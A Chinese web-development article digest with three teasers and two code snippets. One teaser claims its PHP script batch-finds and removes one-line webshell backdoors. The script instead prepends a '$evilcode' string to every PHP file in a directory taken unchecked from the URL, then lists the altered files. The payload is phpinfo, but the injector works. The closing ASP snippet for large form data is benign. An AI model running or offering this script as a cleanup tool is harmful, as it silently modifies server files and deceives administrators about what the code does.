本页文章导读:

    ▪用php实现批量查询清除一句话后门的代码       总是忘记一句话放到哪个文件里去了，直接全部干掉... 代码如下:<?//xy7  if (!isset($dir) or empty($dir)) {  $dir=str_replace('\\','/',dirname(__FILE__));  echo "<font color=\"#00688B\">".$dir."</font>".........

    ▪asp和php下textarea提交大量数据发生丢失的解决方法       我用textarea提交大量的阿数据 我开始字段类型选的是mediumtext，数据有丢失 后来我改成了longtext，数据依然丢失， 而且发现和mediumtext提交到数据库中的数据量是一样的， 并没有增加。该怎.........

    ▪php开发工具之vs2005图解       为什么会想到用vs2005呢？ 一是有感于vs开发.net应用程序，或者asp.net时候的强大。。。。。一直很怀念 二是 vs是个很全面的编辑器，甚至图片都可以直接打开编辑，对于类似我这样工作杂，.........

代码如下:

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} 
$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 
} 
fclose($fp); 
} 
} 
closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b>被X的文件</b></td> 
<td><b>时间</b></td> 
<td><b>大小</b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>\n"; 
echo "<td>$file</td>\n"; 
echo " <td>$lastsave</td>\n"; 
echo " <td>$size Bytes</td>\n"; 
} 
} 
} 
@closedir($dirs); 
?> 
</table> 

代码如下:

Sub Content()
    Dim i,sContent
    ' 取提交过来的数据
    ' 据说对大表单的自动处理，要使用循环，否则大于100K的内容将有可能取不到，单个表单项的限制为102399字节（100K左右）,有待商榷。。参考某编辑器。。
    ' 开始取值-----------------
    sContent = ""
    For i = 1 To Request.Form("d_content").Count
        sContent = sContent & Request.Form("d_content")(i)
    Next
    ' 结束取值-----------------
End Sub